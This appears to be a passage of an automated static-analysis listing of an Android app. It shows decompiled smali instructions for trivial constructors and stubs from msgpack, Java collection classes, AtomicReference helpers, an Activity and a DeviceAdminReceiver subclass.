2invoke-direct {v0}, Lorg/msgpack/core/l;-><init>()V
3throw v0
Cross References
APIs
  • org.msgpack.core.l.<init>
Position Instruction Meta Information
0new-instance v0, Lorg/msgpack/core/l;
2invoke-direct {v0}, Lorg/msgpack/core/l;-><init>()V
3throw v0
Cross References
APIs
  • org.msgpack.core.l.<init>
Position Instruction Meta Information
0new-instance v0, Lorg/msgpack/core/l;
2invoke-direct {v0}, Lorg/msgpack/core/l;-><init>()V
3throw v0
Cross References
APIs
  • org.msgpack.core.l.<init>
Position Instruction Meta Information
0new-instance v0, Lorg/msgpack/core/l;
2invoke-direct {v0}, Lorg/msgpack/core/l;-><init>()V
3throw v0
Cross References
APIs
  • java.util.AbstractList.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/util/AbstractList;-><init>()V
2iput-object p1, p0, Lorg/msgpack/a/a/c$a;->a:[Lorg/msgpack/a/x;
3return-void
APIs
  • org.msgpack.a.a.c$a.a
Position Instruction Meta Information
1invoke-virtual {p0, p1}, Lorg/msgpack/a/a/c$a;->a(I)Lorg/msgpack/a/x;
2move-result-object v0
3return-object v0
APIs
  • java.lang.UnsupportedOperationException.<init>
Position Instruction Meta Information
0new-instance v0, Ljava/lang/UnsupportedOperationException;
2invoke-direct {v0}, Ljava/lang/UnsupportedOperationException;-><init>()V
3throw v0
Cross References
APIs
  • java.util.AbstractSet.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/util/AbstractSet;-><init>()V
2iput-object p1, p0, Lorg/msgpack/a/a/j$a;->a:[Lorg/msgpack/a/x;
3return-void
APIs
  • java.lang.UnsupportedOperationException.<init>
Position Instruction Meta Information
0new-instance v0, Ljava/lang/UnsupportedOperationException;
2invoke-direct {v0}, Ljava/lang/UnsupportedOperationException;-><init>()V
3throw v0
Cross References
APIs
  • java.util.AbstractMap.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/util/AbstractMap;-><init>()V
2iput-object p1, p0, Lorg/msgpack/a/a/j$c;->a:[Lorg/msgpack/a/x;
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/Activity;-><init>()V
2return-void
APIs
  • android.app.admin.DeviceAdminReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/admin/DeviceAdminReceiver;-><init>()V
2return-void
Cross References
APIs
  • com.rwe.rtAdminReceiver.a
Position Instruction Meta Information
1invoke-direct {p0, p1}, Lcom/rwe/rtAdminReceiver;->a(Landroid/content/Context;)V
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
APIs
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-static {p0}, Lc/a/e/a/b;->a(Ljava/util/concurrent/atomic/AtomicReference;)Z
2return-void
APIs
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-static {p0}, Lc/a/e/a/b;->a(Ljava/util/concurrent/atomic/AtomicReference;)Z
2return-void
APIs
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-static {p0, p1}, Lc/a/e/a/b;->a(Ljava/util/concurrent/atomic/AtomicReference;Lc/a/b/b;)Z
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
Cross References
APIs
  • java.util.concurrent.atomic.AtomicReference.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/util/concurrent/atomic/AtomicReference;-><init>()V
2return-void
Cross References
APIs
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-static {p0}, Lc/a/e/a/b;->a(Ljava/util/concurrent/atomic/AtomicReference;)Z
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
Strings
  • null
Position Instruction Meta Information
1const-string v0, "null"
2return-object v0